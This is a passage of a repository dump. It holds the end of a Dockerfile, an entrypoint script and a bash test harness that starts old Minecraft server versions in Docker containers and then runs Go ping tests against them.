13 | EXPOSE 25565
14 | ENV EULA=false JAVA_OPTS="-Xmx256M -Xms128M"
15 | STOPSIGNAL SIGINT
16 | ENTRYPOINT [ "/docker_entrypoint.sh" ]
--------------------------------------------------------------------------------
/test/docker/docker_entrypoint.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | if [ "$EULA" = "true" ] && [ ! -e "/server/eula.txt" ]; then
3 | printf "%s" "eula=true" >"/server/eula.txt"
4 | fi
5 |
6 | # shellcheck disable=SC2164
7 | cd "/server"
8 | # shellcheck disable=SC2086
9 | java $JAVA_OPTS -jar "/server/server.jar" "nogui" 2>&1 | while read -r line; do
10 | echo "$line"
11 | if printf "%s" "$line" | grep -Eq '\[(.*/)?INFO]:? Done'; then
12 | printf "%s" "1" >> "/server/ready"
13 | fi
14 | done
15 |
--------------------------------------------------------------------------------
/test/test_pings.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | version_k=("1.7.2" "1.6.2" "1.4.2" "1.2.5")
3 | declare -A versions
4 | versions=(
5 | ["1.7.2"]="https://launcher.mojang.com/mc/game/1.7.2/server/3716cac82982e7c2eb09f83028b555e9ea606002/server.jar"
6 | ["1.6.2"]="https://launcher.mojang.com/mc/game/1.6.2/server/01b6ea555c6978e6713e2a2dfd7fe19b1449ca54/server.jar"
7 | ["1.4.2"]="https://launcher.mojang.com/mc/game/1.4.2/server/5be700523a729bb78ef99206fb480a63dcd09825/server.jar"
8 | ["1.2.5"]="https://launcher.mojang.com/mc/game/1.2.5/server/d8321edc9470e56b8ad5c67bbd16beba25843336/server.jar"
9 | )
10 |
11 | echo "Building server Docker images."
12 | for ver in "${version_k[@]}"; do
13 | docker build -t "minecraft:$ver" --build-arg SERVER_URL="${versions[$ver]}" "test/docker" >/dev/null 2>&1 &
14 | done
15 | wait
16 |
17 | echo "Starting Docker containers."
18 | mkfifo -m a+rw /tmp/mcready
19 | port=25565
20 | for ver in "${version_k[@]}"; do
21 | containers+=("$(docker run -d --rm -p "$port:25565" -e EULA=true -v "/tmp/mcready:/server/ready" "minecraft:$ver")")
22 | port="$((port + 1))"
23 | done
24 |
25 | cleanup() {
26 | rm "/tmp/mcready"
27 | for cont in "${containers[@]}"; do { docker stop -t 0 "$cont" >/dev/null 2>&1 & } done
28 | for ver in "${version_k[@]}"; do { docker image rm "minecraft:$ver" >/dev/null 2>&1 & } done
29 | }
30 | trap cleanup EXIT
31 |
32 | echo "Waiting for test servers to start."
33 | nf=
34 | while [ "${#nf}" -lt "${#version_k[@]}" ]; do
35 | nf="$nf$(cat "/tmp/mcready")"
36 | done
37 |
38 | go test -v "./..."
39 |
--------------------------------------------------------------------------------